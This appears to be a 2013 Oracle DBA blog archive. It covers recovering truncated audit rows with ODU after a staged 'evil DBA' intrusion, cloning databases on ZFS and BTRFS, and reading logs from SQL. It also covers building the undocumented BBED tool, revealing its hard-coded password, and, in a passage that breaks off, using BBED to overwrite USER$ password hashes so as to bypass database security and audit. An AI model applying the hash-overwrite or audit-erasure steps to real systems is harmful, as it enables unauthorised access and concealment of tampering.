Record :- 6Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 04 Byte 4 :- 00 File ID :- 2Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\DATAFILE\O1_MF_SYSAUX_8L5T0ZB4_.DBF
Record :- 7Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 04 Byte 4 :- 00 File ID :- 1Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\DATAFILE\O1_MF_SYSTEM_8L5T0Z83_.DBF
Record :- 8Byte 1 :- 00 Byte 2 :- 00 File Type 3-LOG, 4-DATA, 7-TEMP :- 07 Byte 4 :- 00 File ID :- 1Byte 6 :- 00 Byte 7 :- 00 Byte 8 :- 00 Byte 9 :- 00 Byte 10 :- 00 Byte 11 :- 00 Byte 12 :- 00 File Name :- D:\ORACLE\WIN64\DATAFILE\O1_MF_TEMP_8L5T3MYY_.TMP

Tablespace information starts at block 179 and is contained in 68 byte records. The first 8 bytes of the record are header information, with byte 3 being TABLESPACE#.
Following is an example of tablespace information extract from a Control File.
Block :- 179Record :- 1Byte 1 :- 00 Byte 2 :- 00 Tablespace ID :- 00 Byte 4 :- 00 Byte 5 :- 00 Byte 6 :- 00 Byte 7 :- 06 Byte 8 :- 00 Tablespace Name :- SYSTEM
Record :- 2Byte 1 :- 00 Byte 2 :- 00 Tablespace ID :- 01 Byte 4 :- 00 Byte 5 :- 00 Byte 6 :- 00 Byte 7 :- 06 Byte 8 :- 00 Tablespace Name :- SYSAUX
Record :- 3Byte 1 :- 00 Byte 2 :- 00 Tablespace ID :- 02 Byte 4 :- 00 Byte 5 :- 00 Byte 6 :- 00 Byte 7 :- 08 Byte 8 :- 00 Tablespace Name :- UNDOTBS1
Record :- 4Byte 1 :- 00 Byte 2 :- 00 Tablespace ID :- 04 Byte 4 :- 00 Byte 5 :- 00 Byte 6 :- 00 Byte 7 :- 05 Byte 8 :- 00 Tablespace Name :- USERS
Record :- 5Byte 1 :- 00 Byte 2 :- 00 Tablespace ID :- 03 Byte 4 :- 00 Byte 5 :- 00 Byte 6 :- 00 Byte 7 :- 04 Byte 8 :- 00 Tablespace Name :- TEMP

Categories: DBA Blogs

Using ODU to extract audit data from truncated AUD$ table.

Mon, 2013-02-18 02:11

The following example shows the use of the ODU (Oracle Database Unloader) to extract records from tables that have been truncated. In this example I will asume someone has hacked into a database and then truncated the AUD$ table in an attempt to hide their activities.

### Evil DBA logs into the HR database, increases his salary, changes the password for SYS user, then logs into SYS and truncates the AUD$ table.

SQL> connect evil_dba/badpassword
Connected.
SQL> update hr.employees set salary = 100000.00 where first_name = 'EVIL' and last_name = 'DBA';

1 row updated.

SQL> alter user sys identified by badpassword;

User altered.

SQL> connect sys/badpassword as sysdba;
Connected.
SQL> select count(*) from dba_audit_trail;

COUNT(*)
----------
40

SQL> truncate table aud$;

Table truncated.

SQL> select count(*) from dba_audit_trail;

COUNT(*)
----------
0

SQL> exit

It is reported to the auditor that someone has hacked into the HR database, but no audit records can be found in AUD$ to identify the guilty person and nobody is sure of exactly what was changed. The Auditor could restore the database and recover it until the SCN prior to the truncate, but that may take a long time, so it would usually be faster to read data from the truncated table blocks if they are still in the datafile and have not been overwritten.

1. Configure control.txt so ODU has a list of datafiles
[oracle@rac1 odu]$ more control.txt
0 1 1 +DATA/test/datafile/system.266.807721615
1 2 2 +DATA/test/datafile/sysaux.273.807721615
2 3 3 +DATA/test/datafile/undotbs1.272.807721615
4 4 4 +DATA/test/datafile/users.271.807721615
6 5 5 +DATA/test/datafile/example.262.807721709

2. Configure asmdisk.txt so ODU has a list of ASM devices
[oracle@rac1 odu]$ more asmdisk.txt
0 /dev/sdb1 DATA1 4096 1048576
0 /dev/sdc1 FRA1 4096 1048576

3. Start ODU
[oracle@rac1 odu]$ ./odu

Oracle Data Unloader trial version 4.1.3

Copyright (c) 2008,2009,2010,2011 XiongJun. All rights reserved.

Web: http://www.oracleodu.com
Email: magic007cn@gmail.com

loading default config.......

byte_order little
block_size 8192
block_buffers 1024
error at line 3.
db_timezone -7
Invalid db timezone:-7
client_timezone 8
Invalid client timezone:8
asmfile_extract_path /asmfile
data_path data
lob_path /odu/data/lob
charset_name US7ASII
charset name 'US7ASII' not found,will use default charset ZHS16GBK
ncharset_name AL16UTF16
output_format text
lob_storage infile
clob_byte_order big
trace_level 1
delimiter |
unload_deleted no
file_header_offset 0
is_tru64 no
record_row_addr no
convert_clob_charset yes
use_scanned_lob yes
trim_scanned_blob yes
lob_switch_dir_rows 20000
db_block_checksum yes
db_block_checking yes
rdba_file_bits 10
compatible 10
load config file 'config.txt' successful
loading default asm disk file ......

grp# dsk# bsize ausize disksize diskname groupname path
---- ---- ----- ------ -------- --------------- --------------- -----------------
1 0 4096 1024K 10236 DATA1 DATA /dev/sdb1
2 0 4096 1024K 5114 FRA1 FRA /dev/sdc1

load asm disk file 'asmdisk.txt' successful
loading default control file ......

ts# fn rfn bsize blocks bf offset filename
---- ---- ---- ----- -------- -- ------ -----------------------------------------
0 1 1 8192 85760 N 0 +DATA/test/datafile/system.266.807721615
1 2 2 8192 60160 N 0 +DATA/test/datafile/sysaux.273.807721615
2 3 3 8192 5120 N 0 +DATA/test/datafile/undotbs1.272.807721615
4 4 4 8192 640 N 0 +DATA/test/datafile/users.271.807721615
6 5 5 8192 12800 N 0 +DATA/test/datafile/example.262.807721709
load control file 'control.txt' successful
loading dictionary data......done

loading scanned data......done

4. Unload the dictionary
ODU> unload dict
CLUSTER C_USER# file_no: 1 block_no: 208
TABLE OBJ$ file_no: 1 block_no: 240
CLUSTER C_OBJ# file_no: 1 block_no: 144
CLUSTER C_OBJ# file_no: 1 block_no: 144
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found TABPART$'s obj# 576
found TABPART$'s dataobj#:576,ts#:0,file#:1,block#:3824,tab#:0
found INDPART$'s obj# 581
found INDPART$'s dataobj#:581,ts#:0,file#:1,block#:3872,tab#:0
found TABSUBPART$'s obj# 588
found TABSUBPART$'s dataobj#:588,ts#:0,file#:1,block#:3928,tab#:0
found INDSUBPART$'s obj# 593
found INDSUBPART$'s dataobj#:593,ts#:0,file#:1,block#:3968,tab#:0
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found LOB$'s obj# 80
found LOB$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:6
found LOBFRAG$'s obj# 609
found LOBFRAG$'s dataobj#:609,ts#:0,file#:1,block#:4096,tab#:0

5. Check that the SYS.AUD$ table exists and record the TS# and OBJ#
ODU> desc sys.aud$

Object ID:383
Storage(Obj#=383 DataObj#=74574 TS#=0 File#=1 Block#=2296 Cluster=0)

NO. SEG INT Column Name Null? Type
--- --- --- ------------------------------ --------- ------------
1 1 1 SESSIONID NOT NULL NUMBER
2 2 2 ENTRYID NOT NULL NUMBER
3 3 3 STATEMENT NOT NULL NUMBER
4 4 4 TIMESTAMP# DATE
5 5 5 USERID VARCHAR2(30)
6 6 6 USERHOST VARCHAR2(128)
7 7 7 TERMINAL VARCHAR2(255)
8 8 8 ACTION# NOT NULL NUMBER
9 9 9 RETURNCODE NOT NULL NUMBER
10 10 10 OBJ$CREATOR VARCHAR2(30)
11 11 11 OBJ$NAME VARCHAR2(128)
12 12 12 AUTH$PRIVILEGES VARCHAR2(16)
13 13 13 AUTH$GRANTEE VARCHAR2(30)
14 14 14 NEW$OWNER VARCHAR2(30)
15 15 15 NEW$NAME VARCHAR2(128)
16 16 16 SES$ACTIONS VARCHAR2(19)
17 17 17 SES$TID NUMBER
18 18 18 LOGOFF$LREAD NUMBER
19 19 19 LOGOFF$PREAD NUMBER
20 20 20 LOGOFF$LWRITE NUMBER
21 21 21 LOGOFF$DEAD NUMBER
22 22 22 LOGOFF$TIME DATE
23 23 23 COMMENT$TEXT VARCHAR2(4000)
24 24 24 CLIENTID VARCHAR2(64)
25 25 25 SPARE1 VARCHAR2(255)
26 26 26 SPARE2 NUMBER
27 27 27 OBJ$LABEL RAW(255)
28 28 28 SES$LABEL RAW(255)
29 29 29 PRIV$USED NUMBER
30 30 30 SESSIONCPU NUMBER
31 31 31 NTIMESTAMP# TIMESTAMP(6)
32 32 32 PROXY$SID NUMBER
33 33 33 USER$GUID VARCHAR2(32)
34 34 34 INSTANCE# NUMBER
35 35 35 PROCESS# VARCHAR2(16)
36 36 36 XID RAW(8)
37 37 37 AUDITID VARCHAR2(64)
38 38 38 SCN NUMBER
39 39 39 DBID NUMBER
40 40 40 SQLBIND CLOB
41 41 41 SQLTEXT CLOB
42 42 42 OBJ$EDITION VARCHAR2(30)

6. Scan tablespace 0 for all extents associated with object 383
ODU> scan extent tablespace 0 object 383

scan extent start: 2013-02-18 15:32:18
scanning extent...
scanning extent finished.
scan extent completed: 2013-02-18 15:32:23

7. Unload records from the truncated table extents
ODU> unload table sys.aud$ object truncate
Auto mode truncated table.

Unloading table: AUD$,object ID: 383
Unloading segment,storage(Obj#=383 DataObj#=383 TS#=0 File#=1 Block#=2296 Cluster=0)
40 rows unloaded

The 40 records from truncated table AUD$ have now been extracted to file SYS_AUD$.txt and if we look at them we can see the last activity before the truncate. These records could be loaded into temporary tables using sqlldr.

20027|1|1||EVIL_DBA|rac1.test.com|pts/1|100|0||||||||||||||Authenticated by: DATABASE||oracle||||5||2013-02-18 07:22:50.091234|||0|24432|0000000000000000|||2105868124
20027|2|10||EVIL_DBA|rac1.test.com|pts/1|103|0|HR|EMPLOYEES|||||----------S-----|73953||||||||oracle||||49||2013-02-18 07:22:59.535459|||0|24432|0300150027030000||990832|2105868124||Â®<90><93>Â©Â¬<8f>
20027|3|11||EVIL_DBA|rac1.test.com|pts/1|43|0||SYS||||||||||||||oracle||||22||2013-02-18 07:23:25.381809|||0|24432|040014005B020000||990849|2105868124||<91>[Â¬Â <84>Â®<92>ÃÃ
20027|4|1||EVIL_DBA|rac1.test.com|pts/1|101|0|||||||||1987|121|43|0|2013-02-18 07:23:37|||oracle|||||22|2013-02-18 07:23:37.142216|||0|24432||||2105868124

The records above relate to the actions of EVIL_DBA and the ACTION# can give a clue to their activities.
ACTION ACTION_NAME---------- ---------------------------- 100 LOGON 103 SESSION REC 43 ALTER USER 101 LOGOFF
So just from the text file we can see the EVIL_DBA connected to the database, did something to the HR.EMPLOYEES table, altered user SYS, then logged out. The extracted data contains additional details which can be mapped to other database tables (USER$, OBJ$ etc) to give a more comprehensive picture. There is also LOB data which can be loaded which contains the actual commands executed.

In this example ODU extracted audit data directly from truncated table blocks on ASM devices without logging in to the database, so this could also work if the database was shutdown, or corrupted.

Categories: DBA Blogs

Oracle database on ZFS - reduce costs through deduplication

Thu, 2013-02-14 03:09

I recently had a customer who wanted to reduce storage costs. They had a 13TB PROD database, and needed 40 copies of the database to support DEV and TEST activities, totalling over 500TB.

We did some diagnostics on the databases, and worked out that only about 10% of data blocks in a clone were ever updated, so deduplicating at filesystem or storage block level could result in 90% saving. The client was a large conservative bank, so the preference was to use existing products from large vendors. We evaluated products from Delphix, NetApp, and Oracle, and ended up choosing the NetApp product due to a combination of functionality, cost, and in-house skills.

Since then I have been wondering if we could have done it cheaper, and have done a quick evaluation of the ZFS filesystem which does allow deduplication at filesystem level.

ZFS is a "copy on write" filesystem which is included in the Solaris operating system, and has been ported to other operating systems.

You can find more information here :- http://docs.oracle.com/cd/E19253-01/819-5461/index.html

The following test was done using Oracle VirtualBox running Oracle Solaris 11 x86.

Create the "dbpool" disk pool using a storage device by running "zpool create"

root@sol11:~# zpool create dbpool /dev/dsk/c7t2d0p0

Configure dbpool with recordsize 8k which is optimal for databases with 8k block size, and set mount point to /u01/data

Refer to - http://www.oracle.com/technetwork/server-storage/solaris10/config-solaris-zfs-wp-167894.pdf

root@sol11:~# zfs create -o recordsize=8k -o mountpoint=/u01/data dbpool/data
root@sol11:~# zfs set logbias=throughput dbpool/data

Now confirm the settings using "zfs get"

root@sol11:~# zfs get primarycache,recordsize,logbias dbpool/data
NAME PROPERTY VALUE SOURCE
dbpool/data primarycache all default
dbpool/data recordsize 8K local
dbpool/data logbias throughput local

Then create 11g database "test" in /u01/data

oracle@sol11:/u01/data/test$ pwd/u01/data/testoracle@sol11:/u01/data/test$ ls -l
total 2720998
-rw-r----- 1 oracle oinstall 9748480 Feb 14 23:55 control01.ctl
-rw-r----- 1 oracle oinstall 9748480 Feb 14 23:55 control02.ctl
-rw-r----- 1 oracle oinstall 52429312 Feb 14 23:25 redo01.log
-rw-r----- 1 oracle oinstall 52429312 Feb 14 23:52 redo02.log
-rw-r----- 1 oracle oinstall 52429312 Feb 14 23:25 redo03.log
-rw-r----- 1 oracle oinstall 461381632 Feb 14 23:46 sysaux01.dbf
-rw-r----- 1 oracle oinstall 702554112 Feb 14 23:51 system01.dbf
-rw-r----- 1 oracle oinstall 20979712 Feb 14 23:25 temp01.dbf
-rw-r----- 1 oracle oinstall 31465472 Feb 14 23:51 undotbs01.dbf
-rw-r----- 1 oracle oinstall 5251072 Feb 14 23:25 users01.dbf

oracle@sol11:/u01/data/test$ du -k .1360500 .

oracle@sol11:/u01/data/test$ df -k .
Filesystem 1024-blocks Used Available Capacity Mounted on
dbpool/data 10257408 1360529 8896686 14% /u01/data

We can see that database test is using about 1.3GB of disk in /u01/data

The "zfs list" command confirms space used is 1.3GB.

oracle@sol11:~$ zfs list
NAME USED AVAIL REFER MOUNTPOINT
dbpool 1.30G 8.48G 31K /dbpool
dbpool/data 1.30G 8.48G 1.30G /u01/data

Shutdown database test and run the "zfs snapshot" command to create a snapshot of the dbpool filesystem data called "backup"

root@sol11:/u01/data# zfs snapshot dbpool/data@backup

The contents of the snapshot can be viewed in the ".zfs" directory.

root@sol11:/u01/data/.zfs# find .
.
./snapshot
./snapshot/backup
./snapshot/backup/test
./snapshot/backup/test/redo02.log
./snapshot/backup/test/control02.ctl
./snapshot/backup/test/redo03.log
./snapshot/backup/test/sysaux01.dbf
./snapshot/backup/test/temp01.dbf
./snapshot/backup/test/system01.dbf
./snapshot/backup/test/control01.ctl
./snapshot/backup/test/users01.dbf
./snapshot/backup/test/redo01.log
./snapshot/backup/test/undotbs01.dbf
./shares

Clone the backup by running "zfs clone" to create "clone1"

root@sol11:/u01/data# zfs clone dbpool/data@backup dbpool/clone1

Mount clone1 to /u01/clone1 using "zfs set mountpoint"

root@sol11:/u01/data# zfs set mountpoint=/u01/clone1 dbpool/clone1
root@sol11:/u01/data/.zfs# cd /u01/clone1/test
root@sol11:/u01/clone1/test# ls
control01.ctl redo01.log redo03.log system01.dbf undotbs01.dbf control02.ctl redo02.log sysaux01.dbf temp01.dbf users01.dbf

Using "zfs list" we can see that the clone only uses 21K (for 1.3GB of files)

root@sol11:/u01/clone1/test# zfs list
NAME USED AVAIL REFER MOUNTPOINT
dbpool 1.30G 8.48G 31K /dbpool
dbpool/data 1.30G 8.48G 1.30G /u01/data
dbpool/clone1 21K 8.48G 1.30G /u01/clone1

Now we can prepare initclone1.ora, create audit file directory, and recreate the controlfile for the clone database.

oracle@sol11:~$ export ORACLE_SID=clone1
oracle@sol11:~$ sqlplus / as sysdba

SQL*Plus: Release 11.2.0.1.0 Production on Fri Feb 15 00:35:13 2013
Copyright (c) 1982, 2009, Oracle. All rights reserved.

Connected to an idle instance.

SQL> @recrctl_clone1.sql

ORACLE instance started.

Total System Global Area 1043886080 bytes
Fixed Size 2217624 bytes
Variable Size 603982184 bytes
Database Buffers 432013312 bytes
Redo Buffers 5672960 bytes
Control file created.

Database altered.
SQL> select name from v$database;

NAME
---------
CLONE1
SQL> select name from v$datafile;

NAME
-----------------------------------------------------------------
/u01/clone1/test/system01.dbf
/u01/clone1/test/sysaux01.dbf
/u01/clone1/test/undotbs01.dbf
/u01/clone1/test/users01.dbf

We now have databases test and clone1 running, with block level deduplication.

oracle@sol11:~$ ps -ef | grep pmon
oracle 2800 1 0 00:33:28 ? 0:00 ora_pmon_test oracle 2920 1 0 00:35:18 ? 0:00 ora_pmon_clone1

After the "open resetlogs" the clone is now using 120MB (for an additional 1300MB database)

oracle@sol11:~$ zfs list
NAME USED AVAIL REFER MOUNTPOINT
dbpool 1.42G 8.36G 31K /dbpool
dbpool/data 1.30G 8.36G 1.30G /u01/data
dbpool/clone1 120M 8.36G 1.30G /u01/clone1

oracle@sol11:~$ df -k /u01/clone1
Filesystem 1024-blocks Used Available Capacity Mounted on
dbpool/clone1 10257408 1361036 8770425 14% /u01/clone1
oracle@sol11:~$ df -k /u01/data
Filesystem 1024-blocks Used Available Capacity Mounted on
dbpool/data 10257408 1360530 8770425 14% /u01/data

Categories: DBA Blogs

Oracle database on BTRFS - reduce costs through deduplication

Wed, 2013-02-13 22:05

I recently had a customer who wanted to reduce storage costs. They had a 13TB PROD database, and needed 40 copies of the database to support DEV and TEST activities, totalling over 500TB.

We did some diagnostics on the databases, and worked out that only about 10% of data blocks in a clone were ever updated, so deduplicating at filesystem or storage block level could result in 90% saving. The client was a large conservative bank, so the preference was to use existing products from large vendors. We evaluated products from Delphix, NetApp SnapManager for Oracle, and Oracle ZFS appliance, and ended up choosing the NetApp product due to a combination of functionality, cost, and in-house skills.
Since then I have been wondering if we could have done it cheaper, and have done a quick evaluation of the BTRFS filesystem which does allow deduplication at filesystem level.
BTRFS is a "copy on write" filesystem and is listed as EXPERIMENTAL, so I don't think it is ready to use in a PROD environment, but is worth testing to support DEV and TEST environments depending on the cost of downtime.
You can find more information here :- http://btrfs.wiki.kernel.org
The following test was done using Oracle VirtualBox running Oracle Linux 6 2.6.39-300.28.1.el6uek.x86_64. BTRFS is included in the Linux kernel, but I needed to install package btrfs-progs :-
yum install btrfs-progs
Format the storage device using mkfs.btrfs :-

[root@btrfs ~]# mkfs.btrfs /dev/sdb

WARNING! - Btrfs Btrfs v0.19 IS EXPERIMENTAL
WARNING! - see http://btrfs.wiki.kernel.org before using

fs created label (null) on /dev/sdb
        nodesize 4096 leafsize 4096 sectorsize 4096 size 12.00GB
Btrfs Btrfs v0.19

You can see that we formatted a 12GB device with devault 4K block size. Block size can impact performance, so if the BTRFS filesystem will only contain database files with 8K blocks, I suspect you would see better performance if the filesystem was also formatted to use 8K blocks.
Now mount the filesystem :-
[root@btrfs ~]# mount /dev/sdb /btrfs1
And add an entry to /etc/fstab :-
/dev/sdb /btrfs1 btrfs defaults 0 0
Using the "btrfs filesystem show" and "btrfs filesystem df" commands we can see the usage. Note that the filesystem has reserved 2GB out of 12GB.
[root@btrfs /]# btrfs filesystem show /dev/sdbLabel: none uuid: f6f7d6c7-14ca-4c01-8c33-3066fc7f4ad3 Total devices 1 FS bytes used 92.00KB devid 1 size 12.00GB used 2.04GB path /dev/sdb
Btrfs Btrfs v0.19
[root@btrfs /]# btrfs filesystem df /btrfs1Data: total=8.00MB, used=64.00KBSystem, DUP: total=8.00MB, used=4.00KBSystem: total=4.00MB, used=0.00Metadata, DUP: total=1.00GB, used=24.00KBMetadata: total=8.00MB, used=0.00
We can also see that usage at OS level.
[root@btrfs /]# df -k /btrfs1Filesystem 1K-blocks Used Available Use% Mounted on/dev/sdb 12582912 120 10457024 1% /btrfs1
Create some directories for the Oracle binaries and datafiles :-
[root@btrfs ~]# cd /btrfs1[root@btrfs u01]# mkdir app[root@btrfs u01]# mkdir data[root@btrfs u01]# chown oracle:dba app data
And now we can start using some of the BTRFS functionality. Create subvolumes for the source database binaries and datafiles. BTRFS allows us to take snapshots of the subvolumes at a later time, so it is best to plan subvolume layout before installing files.

Create subvolumes using "btrfs subvolume create" :-

[root@btrfs btrfs1]# su - oracle
[oracle@btrfs app]$ cd /btrfs1/app
[oracle@btrfs app]$ btrfs subvolume create source
Create subvolume './source'
[oracle@btrfs app]$ cd /btrfs1/data
[oracle@btrfs data]$ btrfs subvolume create source
Create subvolume './source'

Install the Oracle binaries and database in the subvolumes.

Oracle binaries in /btrfs1/app/source and create database "source" in /btrfs1/data/source.This install used about 5.6GB of disk.
[oracle@btrfs source]$ df /btrfs1
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sdb 12582912 5661424 4938480 54% /btrfs1

Database source currently has 1.1GB of datafiles, using total 1.3GB in the filesystem.
SQL> select sum(bytes)/1024/1024/1024 from dba_data_files;
SUM(BYTES)/1024/1024/1024------------------------- 1.11816406
[oracle@btrfs source]$ pwd
/btrfs1/data/source
[oracle@btrfs source]$ du -k .
1346188 .
[oracle@btrfs source]$ ls
control01.ctl redo01.log redo03.log system01.dbf undotbs01.dbf
control02.ctl redo02.log sysaux01.dbf temp01.dbf users01.dbf

If we want to take a cold backup of the source database before we run some tests, all we need to do is shutdown and create a snapshot. First check how much space is available in the filesystem and how much is used by the source database.

[oracle@btrfs data]$ pwd
/btrfs1/data
[oracle@btrfs data]$ df -k .
Filesystem        1K-blocks      Used Available Use% Mounted on
/dev/sdb          12582912   5661820   4938124  54% /btrfs1
[oracle@btrfs data]$ du -sk *
1346188 source

Create the snapshot using "btrfs subvolume snapshot".


[oracle@btrfs data]$ btrfs subvolume snapshot source backup1
Create a snapshot of 'source' in './backup1'

And we can see that the snapshot did not use any additional disk, but we now have a second set of datafiles in directory backup1.

[oracle@btrfs data]$ df -k .
Filesystem        1K-blocks      Used Available Use% Mounted on
/dev/sdb           12582912   5661820   4938124  54% /btrfs1
[oracle@btrfs data]$ du -sk *
1346188 source

1346188 backup1

We can now start the database and run our tests, knowing we have a backup available. Because BTRFS is a "copy on write" filesystem, any block that is changed in the source database will be copied to a new location, and the original left in place as part of the backup1 snapshot. Since the binaries are also installed in a BTRFS subvolume, we could also take a snapshot of them in case we wanted to test patching or relinking.
If we needed additional test environments we can use the files from a snapshot, recreate the controlfile, and open resetlogs.
To create a new clone database called "target", take a snapshot :-
[oracle@btrfs data]$ btrfs subvolume snapshot source targetCreate a snapshot of 'source' in './target'
Then create the parameter file inittarget.ora, audit directories, and script to recreate the controlfile.
[oracle@btrfs data]$ export ORACLE_SID=target[oracle@btrfs data]$ sqlplus / as sysdba
SQL*Plus: Release 11.2.0.1.0 Production on Thu Feb 14 11:44:17 2013
Copyright (c) 1982, 2009, Oracle. All rights reserved.Connected to an idle instance.
SQL> @/home/oracle/recrctl_target.sqlORACLE instance started.
Total System Global Area 1570009088 bytesFixed Size 2213696 bytesVariable Size 922749120 bytesDatabase Buffers 637534208 bytesRedo Buffers 7512064 bytes
Control file created.Database altered.Tablespace altered.SQL> select name from v$database;
NAME---------TARGET
SQL> select name from v$datafile;
NAME-----------------------------------------------------------------/btrfs1/data/target/system01.dbf/btrfs1/data/target/sysaux01.dbf/btrfs1/data/target/undotbs01.dbf/btrfs1/data/target/users01.dbf
At the OS level we can see both databases running, against their own files, with very little additional storage consumed.
[oracle@btrfs data]$ ps -ef | grep pmonoracle 5581 1 0 11:44 ? 00:00:00 ora_pmon_targetoracle 5708 1 0 11:42 ? 00:00:00 ora_pmon_source
[oracle@btrfs data]$ df /btrfs1Filesystem 1K-blocks Used Available Use% Mounted on/dev/sdb 12582912 5792420 4808972 55% /btrfs1
[oracle@btrfs data]$ du -sk *1346188 source1346188 backup11346828 target
The result :-
Using BTRFS snapshots, we now have two running databases, and one cold backup, with deduplication at filesystem block level. If we had created the backup and clone in a normal filesystem (ext3 etc) we would have used almost 2.7GB of disk, but with deduplication we have only used about 0.1GB. We now have 4.8GB free on the filesystem, so could create many more databases to keep the developers happy without making the accountants unhappy. Disk usage will increase as blocks are updated, but unless 100% of the blocks are updated we will still see an advantage from deduplication.

Obviously this was a small example to demonstrate the use of BTRFS snapshots and deduplication, but the same will apply with large databases, with considerable savings. In the example above we shutdown the source database to take a snap, but if the database is in archivelog mode we could just take a hot backup, or we could run a Dataguard Standby, and defer recovery to take a snapshot. My tests were only run on a small VM which is not suitable for performance testing, so additional testing on physical hardware would be useful if database performance is important.
The benefits of block level deduplication are obvious, with significant cost savings on storage, but we should also consider the downside. There is an overhead to deduplication, so database users are likely to see a degrade in performance. It should also be noted that BTRFS is currently listed as experimental, so a bit more work needs to be done before it is ready for important systems, but it is worth testing to see what is possible. In addition to the deduplication features offered by BTRFS, the filesystem also supports compression which would further reduce disk usage.

Categories: DBA Blogs

Select from Alert and Listener logs using V$DIAG_ALERT_EXT

Tue, 2013-01-29 03:03

With Oracle 11.2 it is now possible to select directly from the alert and listener logs.

This is quite useful if a DBA is logged into the database, but not the server, and wants to monitor logs.

# Selecting from the Alert log :-

SQL> select ORIGINATING_TIMESTAMP, MESSAGE_TEXTfrom V$DIAG_ALERT_EXTWHERE ORIGINATING_TIMESTAMP > sysdate -1/24and trim(COMPONENT_ID)='rdbms';
ORIGINATING_TIMESTAMP-----------------------------------------------------------------MESSAGE_TEXT-----------------------------------------------------------------29-JAN-13 12.19.40.633000000 PM +09:00create tablespace HR_AUDIT
29-JAN-13 12.19.42.037000000 PM +09:00Completed: create tablespace HR_AUDIT

# Selecting from the Listener log :-

SQL> select ORIGINATING_TIMESTAMP,MESSAGE_TEXT
from V$DIAG_ALERT_EXT
WHERE ORIGINATING_TIMESTAMP > sysdate -1/240
and trim(COMPONENT_ID)='tnslsnr';

ORIGINATING_TIMESTAMP
-----------------------------------------------------------------
MESSAGE_TEXT
-----------------------------------------------------------------
29-JAN-13 12.20.22.866000000 PM +09:00
29-JAN-2013 12:20:22 * (CONNECT_DATA=(SID=test)(CID=(PROGRAM=perl)(HOST=rac1.tes
t.com)(USER=oracle))) * (ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.204)(PORT=15961))
* establish * test * 0

29-JAN-13 12.20.23.540000000 PM +09:00
29-JAN-2013 12:20:23 * (CONNECT_DATA=(SID=test)(CID=(PROGRAM=perl)(HOST=rac1.tes
t.com)(USER=oracle))) * (ADDRESS=(PROTOCOL=tcp)(HOST=192.168.1.204)(PORT=15962))
* establish * test * 0

Categories: DBA Blogs

Linking BBED on Oracle 11g / Linux

Mon, 2013-01-21 02:19

The BBED tool is not documented or supported by Oracle for external clients, and is not distributed by Oracle in binary form, so must be compiled when needed. The libraries needed to compile it have not been distributed in 11g, but it still compiles with files copied from a 10g install.

Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption. It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about. Test it against a DEV database, and don't expect support.

1. copy library files from 10g $ORACLE_HOME/rdbms/lib to 11g $ORACLE_HOME/rdbms/lib :-

cp ssbbded.o $ORACLE_HOME/rdbms/lib/
cp sbbdpt.o $ORACLE_HOME/rdbms/lib/

2. copy message files from 10g $ORACLE_HOME/rdbms/mesg to 11g $ORACLE_HOME/rdbms/mesg :-

cp bbedus.msb $ORACLE_HOME/rdbms/mesg/
cp bbedus.msg $ORACLE_HOME/rdbms/mesg/

3. set environment for the 11g $ORACLE_HOME/rdbms/lib and make bbed

cd $ORACLE_HOME/rdbms/lib
make -f ins_rdbms.mk BBED=$ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed

4. execute bbed

cd $ORACLE_HOME/bin
$ ./bbed
Password:

BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 07:08:13 2013

Copyright (c) 1982, 2009, Oracle and/or its affiliates. All rights reserved.

************* !!! For Oracle Internal Use only !!! ***************

BBED>

The password is hard coded in the binary, so you can get a list of likely candidates using "strings -a bbed" and use trial and error to confirm that the correct one is "BLOCKEDIT"

Categories: DBA Blogs

Oracle BBED command syntax from "help all"

Mon, 2013-01-21 02:15

Categories: DBA Blogs

Using BBED to update Oracle Password Hashes

Mon, 2013-01-21 01:56

In a previous blog post I showed it was possible to extract unencrypted data directly from Oracle database files, bypassing all database level security and auditing.

In this post I will show it is also possible to avoid database level security and audit to update data. It is relatively easy to write a program to do this if you understand the Oracle block structure, but for this example I will use the BBED tool (Oracle Block Browser and EDitor)

The BBED tool is not documented or supported by Oracle for external clients, and is not distributed by Oracle in binary form, so must be compiled when needed. The libraries needed to compile it have not been distributed in 11g, but it still compiles with files copied from a 10g install.

Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption. It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about. Test it against a DEV database, and don't expect support.

Using BBED to update password hashes in USER$ (cluster C_USER#)
BBED can directly update data in tables. In this case I am updating the password hash in table USER$ (cluster C_USER#) to allow database login with a known password.

The database is Oracle 11.2.0.1 on 32 bit Linux. I have also enabled case sensitive login for extra security, so password hashes are stored in attribute SPARE4.

SQL> show parameter case

NAME TYPE VALUE
------------------------------------ ----------- ----------------
sec_case_sensitive_logon boolean TRUE

First get the hash for a known password. This can be done in any database, then used on the target.

SQL> alter user hr identified by knownpassword;

User altered.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
--------------------------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

So the hash we WANT is :-
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

Now find details of the string, file, block, offset to replace. This could be done by scanning blocks on disk, but in this demonstration I will use data dictionary tables to speed it up.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

And the hash we want to REPLACE is :-
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

Now we find the file and block where we should look for the hash string.

SQL> select file_id, block_id, blocks from dba_extents where segment_name = 'C_USER#';

